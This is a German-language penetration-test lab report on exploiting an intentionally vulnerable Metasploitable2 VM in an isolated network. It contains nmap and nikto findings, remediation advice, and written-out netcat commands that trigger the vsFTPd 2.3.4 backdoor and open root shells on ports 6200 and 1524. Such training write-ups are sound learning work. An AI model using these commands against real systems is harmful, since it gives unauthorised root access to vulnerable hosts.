
Isoliertes Netzwerk-Pentest-Labor: Enumeration mit nmap/nikto und manuelle Ausnutzung von Metasploitable2 (vsFTPd-Backdoor CVE-2011-2523, Bindshell) mit vollständigem technischem Bericht.
Autor: Daniel Stefan de Jesus dos Reis
Datum: September/2026
Umgebung: Persönliches KVM-Labor in isoliertem virtuellen Netzwerk pentestlab
Dieser Test wurde ausschließlich gegen eine eigene, absichtlich verwundbare virtuelle Maschine durchgeführt, die von Rapid7 speziell für Trainingszwecke im Bereich offensive Sicherheit bereitgestellt wurde, innerhalb eines isolierten virtuellen Netzwerks ohne Internetzugang. Es wurde kein System Dritter angegriffen. Dieses Projekt dient ausschließlich Bildungszwecken, zur Entwicklung von Fähigkeiten im Bereich Penetrationstests.
pentestlab (Bridge virbr-lab), Subnetz 192.168.100.0/24, ohne konfiguriertes <forward> — also ein wirklich isoliertes Netzwerk: Die VMs kommunizieren untereinander und mit dem Host, haben aber keine Route nach außerhalb des Labors. XML des Netzwerks in evidencias/pentestlab_network.xml.virbr-lab, unter Verwendung von nmap, nikto, gobuster, hydra, sqlmap und netcat.metasploitable2 (Metasploitable2, modifiziertes Ubuntu 8.04), IP 192.168.100.90/24, zugewiesen per DHCP des isolierten Netzwerks selbst.[ Host / Angreifer ]
|
virbr-lab (isoliertes Netzwerk, kein Internetzugang)
|
[ metasploitable2 ]
Ich folgte einem grundlegenden Ablauf von Reconnaissance → Enumeration → Exploitation → Dokumentation:
nmap -sV -sC -p-)nikto)nc durchgeführt wurden, um den Mechanismus jeder Schwachstelle zu verstehen, nicht nur „den Exploit auszuführen“Befehl: nmap -sV -sC -p- -T4 192.168.100.90
Vollständige Ausgabe: evidencias/nmap_full_scan.txt
Zusammenfassung der relevantesten gefundenen Dienste:
Zwischen dem 30.06.2011 und dem 03.07.2011 wurde der zum Download bereitgestellte Quellcode von vsFTPd 2.3.4 von einem Angreifer manipuliert. Die kompromittierte Version enthält eine Backdoor: Wenn im Benutzerfeld des FTP-Logins eine Zeichenkette empfangen wird, die auf :) endet, öffnet der Server eine Root-Shell auf TCP-Port 6200, ohne jegliche Authentifizierung.
Ausgeführte Schritte (vollständiges Log in evidencias/vsftpd_backdoor_exploit.txt):
# 1. Backdoor auslösen durch Senden von USER mit Endung ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Verbinden mit Port 6200, geöffnet durch die Backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
Ergebnis:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Vollständiger Root-Zugriff ohne Authentifizierung erlangt.
Nmap identifiziert diesen Dienst bereits als Metasploitable root shell — eine absichtlich im Image hinterlassene Backdoor (Überbleibsel eines früheren Exploits, üblich bei Trainings-Images). Es ist keine Ausnutzung erforderlich: Einfach verbinden.
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
Ergebnis: uid=0(root) gid=0(root) groups=0(root) — sofortiges Root.
Vollständiges Log in evidencias/bindshell_1524.txt.
Die Version von UnrealIRCd, die auf den Ports 6667/6697 läuft, entspricht einem Build, der historisch mit einer Backdoor verteilt wurde (Befehl AB; gefolgt von einem Shell-Befehl). Ich habe versucht, die Backdoor manuell über nc auszulösen, aber der Server behandelte die Eingabe als ungültigen IRC-Befehl (451 :You have not registered), anstatt den Befehl auszuführen — entweder enthält dieses spezifische Image nicht das trojanisierte Binary, oder die Payload erfordert eine Feinabstimmung, die ich in dieser Runde nicht priorisiert habe. Ich vermerke dies als erfolglosen Versuch, nicht als bestätigte Schwachstelle.
Dienst für verteilte Kompilierung, der beliebige Befehle von jedem verbindenden Client ohne Authentifizierung akzeptiert. Anhand der Version identifiziert, in dieser Runde nicht ausgenutzt.
Historisch anfällig für Remote-Code-Ausführung über Deserialisierung. Anhand der Version identifiziert, in dieser Runde nicht ausgenutzt.
Befehl: nikto -h 192.168.100.90 -p 80
Vollständige Ausgabe: evidencias/nikto_scan.txt
Wichtigste Befunde:
TRACE aktiv (potenzielles XST)/phpinfo.php öffentlich exponiert (offenbart PHP-Konfiguration)/phpMyAdmin/ ohne IP-Beschränkung zugänglich/doc/, /test/ und /icons/httponly-Flag erstelltpentestlab hinzufügen, anstatt direkt vom Host anzugreifen| Port | Dienst | Version | Anmerkung |
|---|
| 21/tcp | FTP | vsftpd 2.3.4 | Anonymer Login erlaubt + bekannte Backdoor |
| 22/tcp | SSH | OpenSSH 4.7p1 | Veraltet |
| 23/tcp | Telnet | Linux telnetd | Klartext-Protokoll |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin und phpinfo.php exponiert |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | Nachrichtensignierung deaktiviert |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | Historisch anfällig für RCE |
| 1524/tcp | bindshell | — | Root-Shell bereits offen, ohne Authentifizierung |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | Historisch anfällig für RCE (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | Protokoll 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | Version mit bekannter Backdoor assoziiert |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
| Befund | Empfehlung |
|---|
| Backdoor vsFTPd 2.3.4 | Niemals Binärdateien aus nicht offiziellen/nicht verifizierten Quellen verwenden; Hash/Signatur von Paketen vor der Installation validieren |
| Bindshell auf Port 1524 | Offene Ports regelmäßig auditieren (periodisches internes nmap); jede nicht dokumentierte Shell ist ein Incident |
| distccd ohne Authentifizierung exponiert | Auf vertrauenswürdige Hosts per Firewall beschränken oder deaktivieren, wenn kein aktiver verteilter Build verwendet wird |
| phpMyAdmin/phpinfo.php exponiert | Zugriff per IP/VPN beschränken, administrative Tools niemals öffentlich exponieren |
| Apache/PHP veraltet | Aktiven Patch-Management-Prozess aufrechterhalten |
| Verzeichnisauflistung aktiviert | Options Indexes in Apache deaktivieren |
| SMB mit deaktivierter Nachrichtensignierung | server signing = mandatory aktivieren |